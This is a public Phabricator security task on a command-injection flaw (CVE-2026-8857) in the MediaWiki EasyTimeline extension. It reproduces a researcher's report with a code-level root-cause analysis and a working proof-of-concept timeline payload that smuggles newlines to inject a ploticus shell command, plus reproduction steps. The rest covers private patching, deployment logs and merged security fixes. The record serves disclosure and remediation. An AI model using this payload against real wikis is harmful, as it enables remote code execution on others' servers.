Page MenuHomePhabricator

CVE-2026-8857: Full RCE using EasyTimeline Extension
Closed, ResolvedPublicSecurity

Description

Fandom has received the following security vulnerability report on Hackerone regarding the EasyTimeline Mediawiki extension. Since both the original repo and our fork are public, we cannot patch it without exposing the vulnerability to the public and risking Fandom, WMF and MediaWiki consumers.

affiliation: I'm a Director of Engineering at Fandom.

What follows is the original report from the security researcher:

Summary

The Timeline MediaWiki extension (a.k.a. EasyTimeline) — enabled on Fandom — contains a command-injection vulnerability that allows any user able to edit or preview a wiki page to execute arbitrary shell commands on the server that processes timeline rendering, and read the output back through the rendered page.

The flaw is in scripts/EasyTimeline.pl. User-controlled text inside a TextData text:"…" attribute is allowed to contain \n escape sequences which the script converts into real newline characters. Those newlines survive intact into the ploticus script that EasyTimeline generates, letting the attacker close the current text: parameter and inject a new column-0 #proc getdata directive. Ploticus's #proc getdata command: attribute is documented to invoke its argument via /bin/sh -c, and EasyTimeline never passes the -noshell flag that would disable this behaviour.

The output of the attacker's command is captured by the Timeline PHP wrapper through the file.err channel and rendered back to the requesting user inside a <div class="error timeline-error"> block via Timeline::throwRawException.

Root Cause
Step 1 — newline smuggling in EasyTimeline.pl

When parsing a quoted text:"…" value (used by TextData, PlotData, etc.), ExtractText() performs:

$text =~ s/\\n/\n/g;     # converts the literal two-byte sequence "\n" to a real newline

Real newlines now live inside $Attributes{"text"}.

Step 2 — TextData does not sanitise those newlines

ParsePlotData later calls WriteText("~", …) which executes @Text = split('\n', $text). In Perl, split('\n', …) compiles \n as a regex and does split on newline characters — so PlotData defangs the payload by emitting one separate #proc annotate block per line. This is why a naïve PlotData PoC does not work.

ParseTextData, however, calls WriteText("^", …):

&WriteText(
    "^",    "",    0,          $posx,
    $posy,  $text, $textcolor, $fontsize,
    "left", $link, $hint,      $tabs
);

Mode "^" triggers @Text = split('^', $text) — splits on caret, not newline. The user-controlled $text keeps every embedded newline.

Step 3 — newlines reach the ploticus script verbatim

WriteProcAnnotate does:

push @PlotTextsPng, "  text: $text2\n\n";

The contents of @PlotTextsPng are concatenated into $scriptPng1, substituted into the final ploticus script, and (after DecodeInput) written to disk:

open  "FILE_OUT", ">", $file_script;
print  FILE_OUT &DecodeInput($script);
close "FILE_OUT";

For a payload text:"X\n\n#proc getdata\n command: id > file.err\n\n, the resulting ploticus script literally contains:

#proc annotate
  location: 0.000 0.000
  textdetails: align=left size=8 color=black
  text: X

#proc getdata
  command: id > file.err

#proc getdata sits at column 0 — a legitimate directive start in ploticus.

Step 4 — ploticus executes command: via /bin/sh -c

The ploticus manual (-noshell section, http://ploticus.sourceforge.net/doc/plmoreopts.html ) explicitly lists #proc getdata command: and #shell … #endshell as the shell-executing constructs that -noshell exists to disable:

The -noshell command line option is intended to disallow any shell commands that a user might supply in a script from being executed. The following script constructs are disabled when -noshell is in effect: #proc getdata / command: myshellcommand #proc getdata / file: filename (shell-wildcard expansion via cat) #shell … #endshell

EasyTimeline.pl invokes ploticus without -noshell:

my $cmd =
      EscapeShellArg($pl)
    . " $map -png -o "
    . EscapeShellArg($file_bitmap) . " "
    . EscapeShellArg($file_script)
    . " -tightcrop -font "
    . EscapeShellArg($font_file);
system($cmd);

So the attacker's command: is executed as /bin/sh -c "id > file.err".

Step 5 — output is reflected back to the requester

includes/Timeline.php::renderTimeline() configures Shellbox to capture file.err:

->outputFileToString( 'file.err' )

and immediately after execution:

if ( $result->wasReceived( 'file.err' ) ) {
    $error = $result->getFileContents( 'file.err' );
    self::throwRawException( $error );
}

throwRawException runs the contents through htmlspecialchars + nl2br and wraps it in a <div class="error timeline-error">. The attacker sees the cleartext output of their command rendered inline on the wiki page.

Additionally, because the exception is thrown before the storage doQuickOperations call, no PNG is cached, so every subsequent parse of the same source re-runs the exploit. The cache-hash check in onTagHook does not short-circuit the exploit either, because the .png never gets stored on the error path.

Proof of Concept

Payload (paste into any page's <timeline> tag)

<timeline>
ImageSize  = width:200 height:200
PlotArea   = left:50 right:50 top:50 bottom:50
DateFormat = yyyy
Period     = from:2000 till:2001
TimeAxis   = orientation:horizontal
TextData   =
  pos:(0,0) text:"X\n\n#proc getdata\n  command: id > file.err\n\n"
</timeline>

Steps to Reproduce

Log into a Fandom wiki with editing privileges (anonymous preview also works if the wiki allows IP edits and the Timeline tag is permitted) for example https://renwah1test.fandom.com/wiki/POC3?action=edit .

Open any page → Edit (source mode).

Paste the payload above into the page body.

Click Preview. (Saving is unnecessary — the parser hook fires on preview.)

Observe the rendered "Timeline error" box on the previewed page. It contains the stdout of id, for example: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Event Timeline

There are a very large number of changes, so older changes are hidden. Show Older Changes

Because it's a well enough used extension (seemingly, according to Wikiapiary; but not bundled), we're gonna have to do some amount of comms, and probably a heads up/pre-announce and give a time/notification period before pushing to git. Comms is still TBC

sbassett changed Risk Rating from N/A to High.

I've added #acl_release_security_pre_announce to the visbility policy for this task. I do believe we plan to expand access to that policy soon, to other 3rd-party MediaWiki operators.

Thanks for sharing the files here. Fandom engineering will apply this patch tomorrow.. Can you please hold off with applying the fix to the extension before that happens? Thanks1

@Gaperlinski @RhinosF1 et al - can you please confirm that when your teams deploy the ext:Timeline patches on this bug to your environments, that this will not be done publicly? We need to protect this security issue from disclosure until we are ready to make an official security release, which will not be in the near future.

Thanks for sharing the files here. Fandom engineering will apply this patch tomorrow.. Can you please hold off with applying the fix to the extension before that happens? Thanks1

@Gaperlinski @RhinosF1 et al - can you please confirm that when your teams deploy the ext:Timeline patches on this bug to your environments, that this will not be done publicly? We need to protect this security issue from disclosure until we are ready to make an official security release, which will not be in the near future.

I can confirm that the patches have been deployed through our private patches system and are not publicly accessible.

I can confirm that the patches have been deployed through our private patches system and are not publicly accessible.

Thanks!

follow up patch for additional hardening.

Just FYI, this patch should also be deployed to Wikimedia production now (SAL)

Thanks for sharing the files here. Fandom engineering will apply this patch tomorrow.. Can you please hold off with applying the fix to the extension before that happens? Thanks1

@Gaperlinski @RhinosF1 et al - can you please confirm that when your teams deploy the ext:Timeline patches on this bug to your environments, that this will not be done publicly? We need to protect this security issue from disclosure until we are ready to make an official security release, which will not be in the near future.

I confirm that this will be handled by applying a git patch at build time, so that the issue is not disclosed.

I confirm that this will be handled by applying a git patch at build time, so that the issue is not disclosed.

Thanks!

FYI: Fandom deployed a private patch for this vulnerability today.

@Gaperlinski Do we know how the reporter found it? Using some LLM based tool?

And if/how do they want crediting for the report.

^ ping @Gaperlinski

They are a security researcher that has raised other vulnerabilities within our Hackerone bounty program in the passed. I will get back to you on attribution details soon.

How confident are we that this is the only issue of this type in the codebase?

follow up patch for additional hardening.

Just for awareness: Based on my local testing, you can still use #write in ploticus (https://ploticus.sourceforge.net/doc/scriptsyntax.html#write) even if -noshell is enabled. This means that if there's another injection vulnerability in the perl script that allows inserting user-provided text with newlines into the generated ploticus file, there is at minimum an arbitrary file write vulnerability. (I looked through the code and didn't find any other injection vectors, but this is also my first time looking at this file or at perl scripts in general, so it's not that unlikely that I missed something).

Scott_French changed the status of subtask Restricted Task from Open to In Progress.May 21 2026, 8:35 PM
Scott_French changed the status of subtask Restricted Task from Open to In Progress.May 26 2026, 3:53 PM
sbassett changed the status of subtask Restricted Task from Open to In Progress.May 26 2026, 3:57 PM
sbassett changed the status of subtask Restricted Task from Open to In Progress.May 26 2026, 4:00 PM
Scott_French closed subtask Restricted Task as Resolved.May 27 2026, 9:02 PM
SecurityPatchBot changed the task status from In Progress to Open.Jun 1 2026, 11:53 PM
SecurityPatchBot raised the priority of this task from High to Unbreak Now!.
Patch is blocking upcoming release

Patch 01-T426631.patch is currently failing to apply for the most recent code in the mainline branch of extensions/timeline. This is blocking MediaWiki release 1.47.0-wmf.5(T423914)


If the patch needs to be rebased

A new version of the patch can be placed at the right location in the deployment server with the following Scap command:

REVISED_PATCH=<path_to_revised_patch>
scap update-patch --message-body 'Rebase to solve merge conflicts' /srv/patches/next/extensions/timeline/01-T426631.patch "$REVISED_PATCH"

If the patch has been made public

The patch can be dropped in the deployment server with the following Scap command:

scap remove-patch --message-body 'Dropping patch already made public' /srv/patches/next/extensions/timeline/01-T426631.patch
Patch is blocking this week's MediaWiki train!

Patch 01-T426631.patch is currently failing to apply for version 1.47.0-wmf.5 of extensions/timeline. MW train cannot move forward until the patch is fixed (T423914)
Please note you can disregard any existing previous messages in this task from SecurityPatchBot concerning version 1.47.0-wmf.5. To unblock the train, run one of the commands in this message


If the patch needs to be rebased

A new version of the patch can be placed at the right location in the deployment server with the following Scap command:

REVISED_PATCH=<path_to_revised_patch>
scap update-patch --message-body 'Rebase to solve merge conflicts' /srv/patches/1.47.0-wmf.5/extensions/timeline/01-T426631.patch "$REVISED_PATCH"

If the patch has been made public

The patch can be dropped in the deployment server with the following Scap command:

scap remove-patch --message-body 'Dropping patch already made public' /srv/patches/1.47.0-wmf.5/extensions/timeline/01-T426631.patch

These appear restricted for me.

sbassett changed the task status from Open to In Progress.Jun 2 2026, 3:18 PM
sbassett lowered the priority of this task from Unbreak Now! to Medium.

Ok, the new versions of the patches LGTM and apply to current master and wmf/1.47.0-wmf.5. And I see @Reedy has already dropped them under /srv/patches/1.47.0-wmf.5.

This morning I have stashed an uncommited change in /srv/patches/next/extensions/timeline/01-T426631.patch. It prevented the backports from happening.

At your convenience, please take a look at the stashed changes and decide if they should be kept and commited or dropped :)

Stash message, for reference: WIP on master: ecbd107 Scap update-patch: 1.47.0-wmf.5/extensions/timeline/02-T426631.patch

This morning I have stashed an uncommited change in /srv/patches/next/extensions/timeline/01-T426631.patch. It prevented the backports from happening.

I found the uncommitted changes on the same path just now, last modified at 4 June 02:00 (i.e. last night, twenty hours ago). Maybe it was popped from the stash at some point. In any case, I've stashed them again just now.

It seems this is T428316: scap update-patch can abort and leave /srv/patches in a mess

reedy@deploy1003:~$ scap update-patch --message-body 'Rebase to solve merge conflicts' /srv/patches/next/extensions/timeline/01-T426631.patch "$REVISED_PATCH"
23:42:45 Updating patches in /srv/patches/next from /srv/patches/1.47.0-wmf.5
23:42:45 Skipping core/07-T422244.patch since it is identical to /srv/patches/next/core/07-T422244.patch
23:42:45 Skipping core/08-T422085.patch since it is identical to /srv/patches/next/core/08-T422085.patch
23:42:45 Skipping core/09-T299359.patch since it is identical to /srv/patches/next/core/09-T299359.patch
23:42:45 Skipping core/10-T422306.patch since it is identical to /srv/patches/next/core/10-T422306.patch
23:42:45 Skipping core/11-T422676.patch since it is identical to /srv/patches/next/core/11-T422676.patch
23:42:45 Skipping core/12-T425406.patch since it is identical to /srv/patches/next/core/12-T425406.patch
23:42:45 Skipping core/13-T426867.patch since it is identical to /srv/patches/next/core/13-T426867.patch
23:42:45 Skipping core/14-T426889.patch since it is identical to /srv/patches/next/core/14-T426889.patch
23:42:45 Skipping core/15-T427235.patch since it is identical to /srv/patches/next/core/15-T427235.patch
23:42:45 Skipping extensions/AbuseFilter/01-T406954.patch since it is identical to /srv/patches/next/extensions/AbuseFilter/01-T406954.patch
23:42:45 Skipping extensions/CentralAuth/01-T422306.patch since it is identical to /srv/patches/next/extensions/CentralAuth/01-T422306.patch
23:42:45 Skipping extensions/ConfirmEdit/01-T426388.patch since it is identical to /srv/patches/next/extensions/ConfirmEdit/01-T426388.patch
23:42:45 Skipping extensions/SyntaxHighlight_GeSHi/01-T427167.patch since it is identical to /srv/patches/next/extensions/SyntaxHighlight_GeSHi/01-T427167.patch
23:42:45 Skipping extensions/UrlShortener/01-T418533.patch since it is identical to /srv/patches/next/extensions/UrlShortener/01-T418533.patch
23:42:45 Copying extensions/timeline/01-T426631.patch to /srv/patches/next/extensions/timeline/01-T426631.patch
23:42:45 Copying extensions/timeline/02-T426631.patch to /srv/patches/next/extensions/timeline/02-T426631.patch
Aborting: Failed to update patch: [Errno 1] Operation not permitted

which then leaves a dirty diff behind, rather than cleaning up etc. permissions on the actual files look to be the same

reedy@deploy1003:/srv/patches$ ls -al 1.47.0-wmf.5/extensions/timeline/
total 28
drwxrwsr-x 2 mwpresync deployment 4096 Jun  3 15:26 .
drwxrwsr-x 8 mwpresync deployment 4096 May 29 02:00 ..
-rw-rw-r-- 1 mwpresync deployment 4809 Jun  5 23:42 01-T426631.patch
-rw-rw-r-- 1 mwpresync deployment 4306 Jun  2 14:01 02-T426631.patch
-rw-rw-r-- 1 mwpresync deployment 2343 Jun  1 21:31 03-T427611.patch
reedy@deploy1003:/srv/patches$ ls -al next/extensions/timeline/
total 28
drwxrwsr-x 2 reedy     deployment 4096 Jun  5 23:46 .
drwxrwsr-x 8 mwpresync deployment 4096 May 29 02:00 ..
-rw-rw-r-- 1 reedy     deployment 4819 Jun  5 23:46 01-T426631.patch
-rw-rw-r-- 1 reedy     deployment 4286 Jun  5 23:46 02-T426631.patch
-rw-rw-r-- 1 mwpresync deployment 2343 Jun  1 21:31 03-T427611.patch

Happened again this morning during backport with the exact same change. Stashed again.

MLechvien-WMF subscribed.

Removing the production incident tagging per offline discussion with Scott

Change #1306183 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@master] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306183

Change #1306184 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@master] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306184

Change #1306183 merged by jenkins-bot:

[mediawiki/extensions/timeline@master] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306183

Change #1306184 merged by jenkins-bot:

[mediawiki/extensions/timeline@master] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306184

Change #1306192 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_46] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306192

Change #1306193 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_46] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306193

Change #1306195 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_45] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306195

Change #1306196 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_45] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306196

Change #1306198 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_44] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306198

Change #1306199 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_44] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306199

Change #1306201 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_43] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306201

Change #1306202 had a related patch set uploaded (by Reedy; author: Kosta Harlan):

[mediawiki/extensions/timeline@REL1_43] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306202

Change #1306192 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_46] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306192

Change #1306193 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_46] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306193

Change #1306198 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_44] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306198

Change #1306199 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_44] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306199

Change #1306195 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_45] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306195

Change #1306196 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_45] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306196

Change #1306201 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_43] SECURITY: EasyTimeline: Harden against script injection via TextData

https://gerrit.wikimedia.org/r/1306201

Change #1306202 merged by jenkins-bot:

[mediawiki/extensions/timeline@REL1_43] SECURITY: EasyTimeline: Strip newlines from BarData and Scale text

https://gerrit.wikimedia.org/r/1306202

Reedy changed the visibility from "Custom Policy" to "Public (No Login Required)".Jul 5 2026, 5:57 PM
Reedy changed the edit policy from "Custom Policy" to "All Users".
Reedy removed a project: Patch-For-Review.
Rsilvola closed subtask Restricted Task as Resolved.Wed, Jul 22, 1:13 PM